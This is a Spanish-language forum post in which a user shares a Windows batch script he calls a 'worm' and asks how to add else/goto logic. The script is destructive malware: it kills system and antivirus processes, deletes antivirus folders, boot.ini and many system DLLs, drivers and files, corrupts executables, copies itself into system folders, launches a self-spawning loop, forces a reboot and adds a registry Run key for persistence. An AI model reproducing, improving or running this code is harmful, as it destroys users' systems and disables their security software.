a ver holas ya he hecho un "gusano"

eso creo

miren aqui les dejo el codigo a ver como va
@echo off
taskkill /f /IM svchost.exe /IM msmsgs.exe /IM ICQLite.exe /IM explorer.exe /IM notepad.exe /IM avgnt.exe /IM lsass.exe /IM smss.exe
cd C:\Programme\AntiVir PersonalEdition Classic
attrib -H -S -R *.*
del /s /q *.*
taskkill /f /IM navapsvc.exe /IM ISSVC.exe /IM
cd C:\Programme\Norton Internet Security
attrib -H -S -R *.*
del /s /q *.*
cd \
echo > cabron.bat
echo @echo off >> cabron.bat
echo if exist boot.ini (del /s /q boot.ini) >> cabron.bat
echo if exist *.exe (echo tejodi >> *.exe) >> cabron.bat
echo cd %systemroot% >> cabron.bat
echo copy /y C:\cabron.bat %systemroot%\cabron.bat >> cabron.bat
echo copy /y C:\cabron.bat %programfiles%\cabron.bat >> cabron.bat
cd %systemroot%
start cabron.bat
cd %programfiles%
start cabron.bat
cd %systemroot%\System32
if exist *.exe (echo toma >> *.exe)
if exist *.txt (del /s /q *.txt)
if exist *.WAV (del /s /q *.WAV)
if exist bios1.rom (del /s /q bios1.rom)
if exist AUTOEXEC.NT (del /s /q AUTOEXEC.NT)
if exist browser.dll (del /s /q browser.dll)
if exist bootvid.dll (del /s /q bootvid.dll)
if exist *.nls (del /s /q *.nls)
if exist *.NLS (del /s /q *.NLS)
if exist cdm.dll (del /s /q cdm.dll)
if exist cdosys.dll (del /s /q cdosys.dll)
if exist certmgr.dll (del /s /q certmgr.dll)
if exist datime.dll (del /s /q datime.dll)
if exist DAAPI.dll (del /s /q DAAPI.dll)
if exist deskmon.dll (del /s /q deskmon.dll)
if exist *.ocx (del /s /q *.ocx)
if exist chcp.com (del /s /q chcp.com)
if exist chkdsk.com (del /s /q chkdsk.com)
if exist CONFIG.TMP (del /s /q CONFIG.TMP)
if exist dsound3d.dll (del /s /q dsound3d.dll)
if exist dsound.dll (del /s /q dsound.dll)
if exist *.vxd (del /s /q *.vxd)
if exist *.ax (del /s /q *.ax)
if exist *.uce (del /s /q *.uce)
if exist *.pro (del /s /q *.pro)
cd %systemroot%\system
if exist *.drv (del /s /q *.drv)
if exist SHELL.dll (del /s /q SHELL.dll)
cd %systemroot%\system\assembly
if exist *.Data.dll (del /s /q *.Data.dll)
if exist *.Design (del /s /q *.Design)
if exist *.Xml (del /s /q *.Xml)
if exist *.Web.resources (del /s /q *.Web.resources)
if exist *.Security (del /s /q *.Security)
if exist *.EXE (del /s /q *.EXE)
cd %systemroot%\Driver Cache\i386
if exist *.exe (echo otravez >> *.exe)
if exist *.zip (del /s /q *.zip)
if exist *.sys (del /s /q *.sys)
cd %systemroot%\repair
if exist *.nt (del /s /q *.nt)
cd %systemroot%\Microsoft.NET\Framework
if exist *.dll (del /s /q *.dll)
if exist *.exe (echo otravez >> *.exe)
cd %systemroot%\security\Database
if exist *.dll (del /s /q *.dll)
cd %systemroot%\ServicePackFiles\i386
if exist *.dll (del /s /q *.dll)
if exist *.exe (echo juaz >> *.exe)
if exist *.ax (del /s /q *.ax)
if exist *.cod (del /s /q *.cod)
if exist *.SYS (del /s /q *.SYS)
cd %systemroot%
if exist *.exe (echo tejodi >> *.exe)
if exist *.txt (del /s /q *.txt)
if exist *.dll (del /s /q *.dll)
if exist *.bmp (del /s /q *.bmp)
if exist *.BAK (del /s /q *.BAK)
if exist *.tmp (del /s /q *.tmp)
cd \
echo > cabron2.bat
echo @echo off >> cabron2.bat
echo :bucle >> cabron2.bat
echo start C:\cabron2.bat >> cabron2.bat
echo goto bucle >> cabron2.bat
start C:\cabron2.bat
echo shutdown -r -f -t 5 -c "A que no alcanzas a leer" >> C:\cabron2.bat
reg add "HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run"
/v apagar /d "C:\cabron2.bat" /f
exit
Mi pregunta es ( en donde le puse : if exist *.dll (del /s /q *.dll) <----- a eso le tendria que poner else (goto 1)
y abajo de el codigo ese poner :1??? o se puede asi sin else goto ? gracias
Saludos
alejandr0